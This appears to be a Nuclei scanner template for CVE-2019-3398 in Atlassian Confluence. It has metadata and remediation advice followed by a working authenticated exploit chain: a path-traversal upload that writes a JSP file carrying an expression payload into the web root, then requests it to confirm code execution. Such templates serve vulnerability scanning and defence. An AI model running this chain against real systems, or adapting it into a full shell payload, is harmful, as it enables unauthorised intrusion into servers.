id: CVE-2019-3398 info: name: Atlassian Confluence Download Attachments - Remote Code Execution author: rootxharsh,iamnoooob,pdresearch severity: high description: | Confluence Server and Data Center had a path traversal vulnerability in the downloadallattachments resource. A remote attacker who has permission to add attachments to pages and / or blogs or to create a new space or a personal space or who has 'Admin' permissions for a space can exploit this path traversal vulnerability to write files to arbitrary locations which can lead to remote code execution on systems that run a vulnerable version of Confluence Server or Data Center. remediation: | Apply the latest security patches provided by Atlassian to fix the vulnerability. reference: - https://blogs.juniper.net/en-us/threat-research/cve-2019-3398-atlassian-confluence-download-attachments-remote-code-execution - https://nvd.nist.gov/vuln/detail/CVE-2019-3398 - http://packetstormsecurity.com/files/152616/Confluence-Server-Data-Center-Path-Traversal.html - http://packetstormsecurity.com/files/155245/Atlassian-Confluence-6.15.1-Directory-Traversal.html - https://jira.atlassian.com/browse/CONFSERVER-58102 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.8 cve-id: CVE-2019-3398 cwe-id: CWE-22 epss-score: 0.97342 epss-percentile: 0.99829 cpe: cpe:2.3:a:atlassian:confluence:*:*:*:*:*:*:*:* metadata: max-request: 5 vendor: atlassian product: confluence tags: packetstorm,cve,cve2019,atlassian,confluence,rce,authenticated,intrusive,kev variables: num1: "{{rand_int(800000, 999999)}}" num2: "{{rand_int(800000, 999999)}}" result: "{{to_number(num1)*to_number(num2)}}" http: - raw: - | POST /dologin.action HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded os_username={{username}}&os_password={{password}}&login=Log%2Bin&os_destination= - | GET /pages/createpage.action HTTP/1.1 Host: {{Hostname}} - | POST /plugins/drag-and-drop/upload.action?draftId={{draftID}}&filename=../../../../../../opt/atlassian/confluence/confluence/pages/{{randstr}}.jsp&size=8&mimeType=text%2Fplain&atl_token={{csrftoken}} HTTP/1.1 Host: {{Hostname}} ${{{num1}}*{{num2}}} - | GET /pages/downloadallattachments.action?pageId={{draftID}} HTTP/1.1 Host: {{Hostname}} - | GET /pages/{{randstr}}.jsp HTTP/1.1 Host: {{Hostname}} cookie-reuse: true host-redirects: true max-redirects: 2 matchers-condition: and matchers: - type: word part: body_5 words: - "{{result}}" extractors: - type: regex name: csrftoken group: 1 regex: - 'name="atlassian\-token" content="([a-z0-9]+)"> ' internal: true part: body - type: regex name: draftID group: 1 regex: - 'ta name="ajs\-draft\-id" content="([0-9]+)">' internal: true part: body